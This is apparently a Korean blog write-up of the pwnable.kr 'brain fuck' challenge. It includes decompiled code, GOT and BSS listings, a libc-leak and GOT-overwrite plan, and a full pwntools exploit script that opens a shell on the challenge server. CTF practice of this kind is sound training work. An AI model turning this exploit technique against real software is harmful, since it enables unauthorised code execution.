Void
[pwnable.kr] brain fuck 본문
$ checksec bf
[*] '/bf'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int i; // [esp+28h] [ebp-40Ch]
_BYTE v5[1024]; // [esp+2Ch] [ebp-408h] BYREF
unsigned int v6; // [esp+42Ch] [ebp-8h]
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(v5, 0, sizeof(v5));
fgets(v5, 1024, stdin);
for ( i = 0; i < strlen(v5); ++i )
do_brainfuck((char)v5[i]);
return 0;
}
int __cdecl do_brainfuck(char a1)
{
int result; // eax
_BYTE *v2; // ebx
result = a1 - 43;
switch ( a1 )
{
case '+':
result = p;
++*(_BYTE *)p;
break;
case ',':
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case '-':
result = p;
--*(_BYTE *)p;
break;
case '.':
result = putchar(*(char *)p);
break;
case '<':
result = --p;
break;
case '>':
result = ++p;
break;
case '[':
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}
간단한 vm 문제이다. vm은 p를 이동, *p 입출력이 모두 가능하기 때문에 got overwrite로 쉘을 얻을 수 있다. 4바이트 입력은 ",>"*4, 출력은 ".>"*4로 할 수 있다.
...
.got.plt:0804A00C off_804A00C dd offset getchar ; DATA XREF: _getchar↑r
.got.plt:0804A010 off_804A010 dd offset fgets ; DATA XREF: _fgets↑r
.got.plt:0804A014 off_804A014 dd offset __stack_chk_fail
.got.plt:0804A014 ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0804A018 off_804A018 dd offset puts ; DATA XREF: _puts↑r
.got.plt:0804A01C off_804A01C dd offset __gmon_start__
.got.plt:0804A01C ; DATA XREF: ___gmon_start__↑r
.got.plt:0804A020 off_804A020 dd offset strlen ; DATA XREF: _strlen↑r
.got.plt:0804A024 off_804A024 dd offset __libc_start_main
.got.plt:0804A024 ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A028 off_804A028 dd offset setvbuf ; DATA XREF: _setvbuf↑r
.got.plt:0804A02C off_804A02C dd offset memset ; DATA XREF: _memset↑r
.got.plt:0804A030 off_804A030 dd offset putchar ; DATA XREF: _putchar↑r
.got.plt:0804A030 _got_plt ends
...
.bss:0804A060 public stdout@@GLIBC_2_0
.bss:0804A060 stdout@@GLIBC_2_0 dd ? ; DATA XREF: LOAD:08048288↑o
.bss:0804A060 ; main+23↑r
.bss:0804A060 ; Alternative name is 'stdout'
.bss:0804A060 ; Copy of shared data
.bss:0804A064 completed_6339 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804A064 ; __do_global_dtors_aux+14↑w
.bss:0804A065 align 20h
.bss:0804A080 p dd ? ; DATA XREF: do_brainfuck:loc_80485FE↑r
.bss:0804A080 ; do_brainfuck+2A↑w ...
.bss:0804A084 align 20h
.bss:0804A0A0 tape db ? ; ; DATA XREF: main+6D↑o
...
1. stdout을 이용해서 libc_base를 구한다.
2. 바이너리가 종료되기 전에 다시 main 함수로 돌아가기 위해서 puts()를 main으로 overwrite 한다.
3. memset()을 gets()로 overwrite한다.
4. fgets()를 system()으로 overwrite한다. (main에서 gets()로 입력받은 이후 실행)
5. puts(=main)을 실행한다.
6. main()의 gets()에서 "/bin/sh"를 입력한다.
from pwn import *
def log(n, a) : print('[*]', n, ':', hex(a))
#p=process('./bf', env={'LD_PRELOAD':'./bf_libc.so'})
p=remote('pwnable.kr', 9001)
l=ELF('./bf_libc.so')
main=0x08048671
#libc leak
payload=b'<'*0x40
payload+=b'.>'*4+b'<'*4
#putchar -> main
payload+=b'<'*0x30
payload+=b',>'*4+b'<'*4
#memset -> gets
payload+=b'<'*4
payload+=b',>'*4+b'<'*4
#fgets -> system
payload+=b'<'*0x1c
payload+=b',>'*4+b'<'*4
#putchar() (==main())
payload+=b'.'
p.sendlineafter(b'[ ]\n', payload)
libc_base=u32(p.recvn(4))-l.symbols['_IO_2_1_stdout_']
log('libc_base', libc_base)
p.send(p32(main))
gets=libc_base+l.symbols['gets']
p.send(p32(gets))
system=libc_base+l.symbols['system']
p.send(p32(system))
p.sendlineafter(b'[ ]\n', b'/bin/sh')
p.interactive()
BrainFuck? what a weird language..
'pwnable.kr' 카테고리의 다른 글
| [pwnable.kr] flag (0) | 2025.01.19 |
|---|---|
| [pwnable.kr] bof (0) | 2025.01.19 |
| [pwnable.kr] collision (0) | 2025.01.19 |
| [pwnable.kr] fd (0) | 2025.01.18 |